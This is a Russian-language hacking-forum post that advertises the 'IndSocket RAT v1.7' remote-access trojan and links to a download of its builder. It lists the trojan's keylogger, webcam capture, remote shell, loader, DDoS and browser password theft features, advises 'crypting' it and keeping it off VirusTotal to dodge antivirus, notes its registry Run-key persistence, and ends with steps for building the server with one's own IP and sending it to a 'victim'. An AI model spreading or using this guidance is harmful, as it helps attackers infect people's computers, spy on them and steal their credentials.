[CENTER]IndSocket RAT v1.7[/CENTER]
Тривиальный бэкдор на ВБ6, производитель - indetectables.net
Фичи:
Небольшой для современного паблика размер сервера (64 KB packed with upx)
Файловый менеджер
Менеджер реестра
Диспетчер процессов
Удаленный захват с вебкамеры.
Скриншоты с рабочего стола
Кейлоггер
Удаленная коммандная строка
Лоадер
Функции ДДоСа
и остальные. Подробней на скринах
По отзывам - стабилен. Простой интерфейс, не большое потребление траффика. Поддержка автором. Палится всем, криптуйте) Крипту поддается нормально.
Тестил - работает. Иногда по каким-то причинам приходит долго ждать коннекта, но в итоге подключение стабилизируется.
Все необходимые для работы OCX-компоненты в папке OCX. Для регистрации в системе нужно запустить регистратор из той же папки.
Живучесть пока хромает, т.к. нету системы руткита, то есть завершение процесса и удаление файла ничем не препятствуются, в реестр записывается по адресу:
Код:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\
С произвольным именем. Сам дропается в %Temp%, что тоже неразумно. [COLOR="red"]ВНИМАНИЕ!!НЕ ЗАЛИВАТЬ НА ВСЯКИЕ ВИРУСТОТАЛЫ И,Т,Д ИНАЧЕ НАЧНЕТ ПАЛИТЬСЯ ВСЕМ ЧЕМ МОЖНО,,,,ЕСЛИ СОМНЕВАЕТЕСЬ В ЧИСТОТЕ ДАННОГО БИЛДЕРА,НЕ КАЧАЙТЕ[/COLOR]
Будут вопросы,задавайте в теме буду отвечать
[URL="http://shareflare.net/download/20555.2b190692cc2893953beba04d7d7f/IndSocket_RAT_v1.7__c0d3d_p0is0n_.rar.html"]Скачать[/URL]
Вообщем небольшая инструкция:
Во вкладке Builder,пишем свой айпи,потом ставим галки на нужных нам параметрах,и билдим сервер,его закдываем жертве,и поле запуска им сервера,делайте ним почти че хотите,но самое главное ,ворует все пассыиз раузеров и имеет кейлоггер[
